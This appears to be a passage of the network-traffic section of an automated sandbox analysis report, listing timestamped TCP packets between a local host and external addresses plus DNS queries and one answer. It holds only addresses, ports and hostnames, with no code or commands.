Nov 25, 2024 07:53:52.518693924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.518748999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.518780947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.518836975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.519062996 CET	49926	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.519092083 CET	443	49926	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.519511938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.519562960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.519571066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.519623995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.520345926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.520404100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.520453930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.520513058 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.521157026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.521212101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.521235943 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.521286011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.522001982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.522073984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.523556948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.540864944 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.547327042 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.556256056 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.568216085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.568276882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.568322897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.568505049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.568644047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.568746090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.568792105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.569406033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.569423914 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.569483042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.570262909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.570301056 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.570322037 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.570353985 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.571046114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.571106911 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.571162939 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.571880102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.571950912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.571973085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.571990013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.572648048 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.572705984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.572782993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.572833061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.573468924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.573594093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.573602915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.573637962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.574285984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.574352026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.574383020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.574424028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.575109005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.575170040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.575182915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.575222969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.575927973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.575984955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.576025009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.576203108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.576699972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.576725960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.576755047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.576792002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.577517986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.577562094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.577565908 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.577672958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.578351974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.578471899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.578515053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.578526020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.579144955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.579257011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.579268932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.579353094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.579957962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.580018044 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.580039024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.580082893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.580818892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.580830097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.580898046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.633712053 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.633788109 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.633877993 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.634422064 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.634443045 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.634458065 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.634464025 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.637658119 CET	49927	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.637697935 CET	443	49927	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.637777090 CET	49927	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.637959003 CET	49927	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.637974024 CET	443	49927	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.639884949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.639898062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.639952898 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.640280008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.640379906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.640405893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.640429974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.641108990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.641180038 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.641278982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.641405106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.641927004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.642148972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.642157078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.642281055 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.642326117 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.643043041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.643105984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.643168926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.643254995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.643805981 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.643872023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.643910885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.643959999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.644627094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.644639969 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.644684076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.644710064 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.645448923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.645492077 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.645503998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.645618916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.646244049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.646274090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.646296024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.646390915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.647027969 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.647108078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.647161961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.647209883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.647883892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.647897005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.647938967 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.648683071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.648763895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.648838043 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.648930073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.649494886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.649554014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.649555922 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.649645090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.650296926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.650449991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.650767088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.651134014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.651210070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.651231050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.651259899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.651945114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.651998997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.652019024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.652096987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.652733088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.652781010 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.652839899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.652904034 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.653595924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.653609991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.653667927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.654385090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.654428005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.654462099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.654474974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.655189037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.655242920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.655258894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.655364990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.655971050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.656023026 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.656081915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.656204939 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.656814098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.656827927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.656861067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.657650948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.657706976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.657727957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.657778025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.658432007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.658483028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.658528090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.658693075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.659233093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.659291983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.659444094 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.659492970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.660096884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.660151005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.660181999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.660228014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.660880089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.660931110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.661007881 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.661063910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.661672115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.661724091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.661777020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.661834002 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.662518024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.662530899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.662589073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.663345098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.663372993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.663392067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.663417101 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.674823999 CET	443	49913	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.675257921 CET	49913	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.675275087 CET	443	49913	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.675791979 CET	49913	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.675797939 CET	443	49913	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.718761921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.718822956 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.718864918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.718914986 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.719160080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.719216108 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.719297886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.719378948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.719994068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.720048904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.720082045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.720129013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.720820904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.720927000 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.720927954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.721102953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.721635103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.721683025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.721759081 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.721803904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.722475052 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.722585917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.722592115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.722650051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.723359108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.723413944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.723448038 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.723555088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.769555092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.769659042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.769681931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.769733906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.770062923 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.770131111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.770154953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.770209074 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.770783901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.770829916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.770956993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.770998955 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.771569014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.771622896 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.771656036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.771756887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.772382975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.772433043 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.772470951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.772530079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.773191929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.773267031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.773318052 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.773365974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.774007082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.774153948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.774211884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.774818897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.774928093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.775182962 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.775639057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.775702000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.775734901 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.775778055 CET	49825	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 07:53:25.103172064 CET	192.168.2.6	1.1.1.1	0x2e6f	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:25.108831882 CET	192.168.2.6	1.1.1.1	0x1754	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:32.272372961 CET	192.168.2.6	1.1.1.1	0xf902	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:32.272700071 CET	192.168.2.6	1.1.1.1	0x8bea	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:37.406092882 CET	192.168.2.6	1.1.1.1	0x1d75	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:37.406553030 CET	192.168.2.6	1.1.1.1	0xb35	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:40.100811958 CET	192.168.2.6	1.1.1.1	0xc3c3	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:40.101363897 CET	192.168.2.6	1.1.1.1	0xd9bc	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 07:53:40.829639912 CET	192.168.2.6	1.1.1.1	0x9b94	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:40.841877937 CET	192.168.2.6	1.1.1.1	0x230c	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:41.878184080 CET	192.168.2.6	1.1.1.1	0x2efa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:41.878837109 CET	192.168.2.6	1.1.1.1	0x3101	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:41.879334927 CET	192.168.2.6	1.1.1.1	0x61c4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:41.879599094 CET	192.168.2.6	1.1.1.1	0xf8	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:41.890490055 CET	192.168.2.6	1.1.1.1	0xc3d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:41.890768051 CET	192.168.2.6	1.1.1.1	0x9ee9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:42.671833992 CET	192.168.2.6	1.1.1.1	0x6cc3	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.671957970 CET	192.168.2.6	1.1.1.1	0xf0cb	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:42.683787107 CET	192.168.2.6	1.1.1.1	0x9a60	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.684295893 CET	192.168.2.6	1.1.1.1	0xb303	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:42.811589003 CET	192.168.2.6	1.1.1.1	0xae50	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.811757088 CET	192.168.2.6	1.1.1.1	0x94a2	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 25, 2024 07:53:42.953919888 CET	192.168.2.6	1.1.1.1	0xc615	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:53:42.954063892 CET	192.168.2.6	1.1.1.1	0x1dd9	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 25, 2024 07:54:41.962852001 CET	192.168.2.6	1.1.1.1	0x3639	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:54:41.963074923 CET	192.168.2.6	1.1.1.1	0xa9ca	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 07:55:03.204771996 CET	192.168.2.6	1.1.1.1	0x188e	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:55:03.205142021 CET	192.168.2.6	1.1.1.1	0xed0b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 07:55:20.047535896 CET	192.168.2.6	1.1.1.1	0x24df	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 25, 2024 07:55:20.047652006 CET	192.168.2.6	1.1.1.1	0x6fde	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 07:53:25.242014885 CET	1.1.1.1	192.168.2.6	0x2e6f	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
